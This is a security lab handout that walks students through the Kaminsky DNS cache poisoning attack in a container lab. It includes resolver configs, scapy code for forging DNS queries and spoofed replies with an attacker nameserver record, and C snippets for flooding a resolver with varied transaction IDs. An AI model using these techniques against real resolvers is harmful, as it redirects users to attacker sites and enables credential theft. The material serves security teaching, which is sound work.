Kaminsky Attack

This lab is built on the SEED Labs for Security Education project by Prof. Wenliang Du, at Syracuse University.

In a DNS cache poisoning attack, an attacker attempts to redirect the victim to vist machine B when the user tries to get to machine A by remapping A’s host name. For example, assume www.bank.com is an online banking site. When the user tries to access this site using the legitimate URL www.bank.com, an adversary can redirect the user to a malicious web site that looks very much like www.bank.com, and the user might be fooled into giving away his/her credentials to the attacker.

Lab Setup

  • The lab uses the following layout to launch the DNS cache poisoning attack:

fig1

The User’s machine. The user container 10.9.0.5 is already configured to use 10.9.0.53 as its local DNS server. We can set this by changing the resolver configuration file (/etc/resolv.conf) of the user machine, so the server 10.9.0.53 is added as the first nameserver entry in the file, i.e., this server will be used as the primary DNS server.

The Attacker’s Nameserver. On the attacker’s nameserver, we host two zones. One is the attacker’s legitimate zone attacker32.com, and the other is the fake example.com zone. The zones are configured in /etc/bind/named.conf:

zone "attacker32.com" {
type master;
file "/etc/bind/attacker32.com.zone";
};
zone "example.com" {
type master;
file "/etc/bind/example.com.zone";
};
  • Examining the DNS cache During the attack, we need to inspect the DNS cache on the local DNS server. The following two commands are related to DNS cache. The first command dumps the content of the cache to the file /var/cache/bind/dump.db, and the second command clears the cache.

    # rndc dumpdb -cache // Dump the cache to the specified file
    # rndc flush // Flush the DNS cache
  • Forwarding the attacker32.com zone. A forward zone is added to the local DNS server, so if anybody queries the attacker32.com domain, the query will be forwarded to this domain’s nameserver, which is hosted in the attacker container. The zone entry is put inside the named.conf file.

    zone "attacker32.com" {
    type forward;
    forwarders {
    10.9.0.153;
    };
    };

Testing your DNS Setup

From the User container, we will run a series of commands to ensure that our lab setup is correct.

  • Get the IP address of ns.attacker32.com. When we run the following dig command, the local DNS server will forward the request to the Attacker nameserver due to the forward zone entry added to the local DNS server’s configuration file. Therefore, the answer should come from the zone file (attacker32.com.zone) that we set up on the Attacker nameserver.

    $ dig ns.attacker32.com

    Ensure that this is what you get.

  • Get the IP address of www.example.com. Two nameservers are now hosting the example.com domain, one is the domain’s official nameserver, and the other is the Attacker container. We will query these two nameservers and see what response we will get.

    // Send the query to our local DNS server, which will send the query
    // to example.com’s official nameserver.
    $ dig www.example.com
    
    // Send the query directly to ns.attacker32.com
    $ dig @ns.attacker32.com www.example.com
  • We know that DNS queries are organized such that no endhost will ask ns.attacker32.com for the IP address of www.example.com; they will always ask the example.com domain’s official nameserver for the authoritative answers.

  • The objective of the DNS cache poisoning attack is to get our victim to ask ns.attacker32.com for the IP address of www.example.com.

    If our attack is successful, running the first dig command, the one without specifying the nameserver to query (i.e, without specifying @ns.attacker32.com) should get the fake result from the attacker, instead of getting the authoritative result from the domain’s legitimate nameserver.

Attack overview

We will launch our DNS cache poisoning attack against www.example.com as our attack target.

Note that example.com domain name is reserved for use in documentation, not for any real company. The legitimate IP address of www.example.com is 93.184.216.34, and its nameserver is managed by the Internet Corporation for Assigned Names and Numbers (ICANN).

Typically, when a user runs a dig query for www.example.com or types the hostname into a web browser, the user’s machine sends a DNS query to its local DNS server, which will eventually ask for the IP address from example.com’s nameserver.

The goal of the attack is to launch the DNS cache poisoning attack on the local DNS server, such that when the user runs the dig command to find out www.example.com’s IP address, the local DNS server will end up going to the attacker’s nameserver ns.attacker32.com to get the IP address, so the IP address returned can be any number that is decided by the attacker. As a result, the user will be led to the attacker’s web site, instead of to the legitimate www.example.com.

The Kaminsky Attack

fig2
  • In this task, the attacker sends a DNS query request to the victim DNS server (Apollo), triggering a DNS query from Apollo.

    • The query may go through one of the root DNS servers, the .com DNS server, and finally go to the authoritative DNS servers for example.com, as shown above.

  • In case example.com’s nameserver information is already cached by Apollo, the query will not go through the root or the .com server; this is illustrated in the figure below.

fig3
  • For this project we will assume that the DNS mapping for the root and .com servers are already cached and Apollo is waiting for a DNS reply from example.com 's authoritative nameserver as shown in Figure 3.

  • The attacker can now forged replies to Apollo, pretending that the replies are from example.com’s nameserver. If the forged replies arrive first, it will be accepted by Apollo and the attack will be successful.

  • If we assume an on-path attacker, i.e., the attacker is on the same Local-Area-Network then the attacker can observe the DNS query and craft a DNS response with the same transaction ID observed in the DNS query.

  • If the attacker is off-path, the attack becomes much harder to launch for two reasons: (a) the attacker needs to guess the transaction ID - a 16 bit field, and race the legitimate response from example.com 's nameserver and (b) if the attacker fails, then the legitimate response is cached for a significant period (days to weeks), meaning that there are no DNS queries sent out by the victim, for the attacker to try a second spoofed response.

Dan Kaminsky came up with an elegant off-path attack that overlooked a key issue with DNS responses, and was successfully able to attack a DNS server in a matter of minutes. The attack model is given in figure 3:

  1. The attacker queries the DNS server Apollo for a non-existing name in example.com, such as twysw.example.com, where twysw is a random string.

  2. Since the mapping is unavailable in Apollo’s DNS cache, Apollo sends a DNS query to the nameserver of the example.com domain.

  3. While Apollo waits for the reply, the attacker floods Apollo with a stream of spoofed DNS response, each trying a different transaction ID, hoping one is correct. In the response, not only does the attacker provide an IP resolution for twysw.example.com, the attacker also provides “Authoritative Nameservers” record, indicating ns.attacker32.com as the nameserver for the example.com domain. If the spoofed response beats the actual responses and the transaction ID matches with that in the query, Apollo will accept and cache the spoofed answer, and and thus Apollo’s DNS cache is poisoned.

  4. Even if the spoofed DNS response fails (e.g. the transaction ID does not match or it comes too late), it does not matter, because the next time, the attacker will query a different name, so Apollo has to send out another query, giving the attack another chance to do the spoofing attack. This effectively defeats any weak security guarantees provided by caching legitimate DNS responses (since there are innumerable "fake" example.com webpages that the attacker can query).

  5. If the attack succeeds, in Apollo’s DNS cache, the nameserver for example.com will be replaced by the attacker’s nameserver ns.attacker32.com. To demonstrate the success of this attack, your group should show that a fake attacker controlled record is present Apollo’s DNS cache.

Let’s break up the Kaminsky attack into three steps:

  1. Construct a DNS request for a random hostname in the example.com domain

  2. Construct a spoofed DNS reply from example.com 's nameserver

  3. Launch the Kaminsky attack and analyze it’s impact.

Task 1: Construct a DNS request

This task focuses on sending out DNS requests. In order to complete the attack, attackers need to trigger the target DNS server to send out DNS queries, so they have a chance to spoof DNS replies. Since attackers need to try many times before they can succeed, you should automate the process by writing your spoofed packet responses in a program.

Write a program using scapy to send out DNS queries to the target DNS server (i.e., the local DNS server in our setup). Demonstrate (using Wireshark) that your queries can trigger the target DNS server to send out corresponding DNS queries.

The following python code snippet using scapy can help you get started. You should also look up the DNS protocol to see all the fields required in the request and the response. Here are some slides to help you get started. Luckily, scapy handles most of the header fields for you :).

+

qdsec = DNSQR(qname=’www.example.com’)
dns = DNS(id=0xAAAA, qr=0, qdcount=1, ancount=0, nscount=0,
arcount=0, qd=Qdsec)

# TODO: fill in the destination and source IP addresses
ip = IP(dst=’’, src=’’)

# TODO: fill in the destination and source port numbers (no quotes needed around port numbers)
udp = UDP(dport=___, sport=__, chksum=0)

request = ip/udp/dns

Task 2: Spoof DNS Replies

In this task, we need to spoof DNS replies in the Kaminsky attack. Since our target is example.com, we need to spoof the replies from this domain’s nameserver.

You first need to find the IP addresses of example.com’s legitimate nameservers (note: there are multiple nameservers for this domain). You can use scapy to implement this task.

The following code snippet constructs a DNS response packet that includes a question section, an answer section, and an NS section. Sample scapy code is provided below, your TODOs are highlighted:

TODO: fill in name, domain, and ns
name = ''
domain = ''
ns = ''

qdsec   = DNSQR(qname=name)
anssec  = DNSRR(rrname=name, type=’A’, rdata=’1.2.3.4’, ttl=259200)
nssec   = DNSRR(rrname=domain, type=’NS’, rdata=ns, ttl=259200)
dns     = DNS(id=0xAAAA, aa=1, rd=1, qr=1,
              qdcount=1, ancount=1, nscount=1, arcount=0,
              qd=qdsec, an=anssec, ns=nssec)

TODO: fill in the IP addresses and UDP port numbers
ip = IP(dst='', src='')
udp = UDP(dport=____, sport=____, chksum=0)
reply = ip/udp/dns

This reply on it’s own will not yet lead to a successful attack, to demonstrate that you’ve completed this task, you should use Wireshark to capture the spoofed DNS replies, and show that the spoofed packets are valid.

Task 3: Launch the Kaminsky Attack

Now we can put everything together to conduct the Kaminsky attack. In the attack, we need to send out many spoofed DNS replies, hoping one of them hits the correct transaction number and arrives sooner than the legitimate replies. Therefore, speed is essential: the more packets we can send out, the higher the success rate is. If we use Scapy to send the spoofed DNS replies like what we did in the previous task, the success rate is unfortunately not high.

We will use a hybrid approach using both Scapy and C. The C code is mostly provided to you in attack.c, you only need to change areas marked with a TODO.

Use scapy to create DNS packets

We will use Scapy to create the spoofed DNS packet, and save it to a file. Here is a generic code snippet to save a DNS packet created using scapy:

#!/usr/bin/env python3

from scapy.all import *
# Construct the DNS header and payload

name    = ’twysw.example.com’
qdsec   = DNSQR(qname=name)
anssec  = DNSRR(rrname=name, type=’A’, rdata=’1.1.2.2’, ttl=259200)
dns     = DNS(id=0xAAAA, aa=1, rd=0, qr=1,
              qdcount=1, ancount=1, nscount=0, arcount=0,
              qd=Qdsec, an=Anssec)

# Construct the IP, UDP headers, and the entire packet
ip  = IP(dst=’10.0.2.7’, src=’1.2.3.4’, chksum=0)
udp = UDP(dport=33333, sport=53, chksum=0)
pkt = ip/udp/dns

# Save the packet to a file
with open(’ip.bin’, ’wb’) as f:
f.write(bytes(pkt))

In our attack.c file, we can load the packet from the file ip.bin, and use it as our packet template, based on which we create many similar packets, and flood the target local DNS servers with these spoofed replies.

  • For each reply, we change three pieces of information: : the transaction ID and the name twysw occurred in two places (the question section and the answer section). The transaction ID is at a fixed place (offset 28 from the beginning of our IP packet), but the offset for the name twysw depends on the length of the domain name. We can use a binary editor program, such as bless, to view the binary file ip.bin and find the two offsets of twysw. In our packet, they are at offsets 41 and 64.

  • The following code snippet shows how we make change to these fields. We change the name in our reply to bbbbb.example.com, and then send out a spoofed DNS replies, with transaction ID being 1000. In the code, the variable ip points to the beginning of the IP packet.

    // Modify the name in the question field (offset=41)
    memcpy(ip+41, "bbbbb" , 5);
    // Modify the name in the answer field (offset=64)
    memcpy(ip+64, "bbbbb" , 5);
    // Modify the transaction ID field (offset=28)
    unsigned short id = 1000;
    unsigned short id_net_order = htons(id);
    memcpy(ip+28, &id_net_order, 2);

Generate random names

In the Kaminsky attack, we need to generate random hostnames. There are many ways to do so. The following code snippet shows how to generate a random name consisting of 5 characters in python:

char a[26]="abcdefghijklmnopqrstuvwxyz";
// Generate a random name of length 5
char name[6];
name[5] = 0;
for (int k=0; k<5; k++)
name[k] = a[rand() % 26];

Verifying that your attack succeeded

Check the DNS Cache To check whether the attack is successful or not, we need to check the dump.db file to see whether our spoofed DNS response has been successfully accepted by the DNS server. The following commands dump the DNS cache, and search whether the cache contains the word attacker (use attacker32.com as the attacker’s domain).

# rndc dumpdb -cache && grep attacker /var/cache/bind/dump.db

If the attack is successful, in the local DNS server’s DNS cache, the NS record for example.com will become ns.attacker32.com. When this server receives a DNS query for any hostname inside the example.com domain, it will send a query to ns.attacker32.com, instead of sending to the domain’s legitimate nameserver.

To verify whether your attack is successful or not, go to the User machine, run the following two dig commands. In the responses, the IP addresses for www.example.com should be the same for both commands, and it should be whatever you have included in the zone file on the Attacker nameserver.

// Ask the local DNS server to do the query
$ dig www.example.com

// Directly query the attacker32 nameserver
$ dig @ns.attacker32.com www.example.com

In your presentation include screenshots and explain why you think your attack is successful. In particular, when you run the first dig commands, use Wireshark to capture the network traffic, and point out what packets are triggered by this dig command. Use the packet trace to prove that your attack is successful.

Note that DNS results may be cached on the local DNS server after the first dig command is run. This could influence the results if you run the first dig command before using Wireshark. You can clear the cache using sudo rndc flush on the local DNS server, but that will require you to redo the attack.